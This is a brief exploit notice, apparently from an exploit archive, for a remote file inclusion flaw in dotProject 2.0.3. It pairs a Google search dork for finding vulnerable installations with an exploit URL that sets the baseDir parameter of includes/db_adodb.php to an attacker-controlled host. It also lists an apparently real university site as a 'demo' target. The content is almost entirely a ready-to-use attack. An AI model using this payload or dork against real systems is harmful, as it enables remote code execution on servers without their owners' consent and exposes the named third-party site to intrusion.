dotProject 2.0.3 Remote File Inclusion

[Devil]

Google Arama "inurl:"dotProject"" vs vs

Remote Code
http://target.com/[dotProject_path]/includes/db_adodb.php?baseDir=[attacker]


Demo
http://ssol.student.iastate.edu/index2.php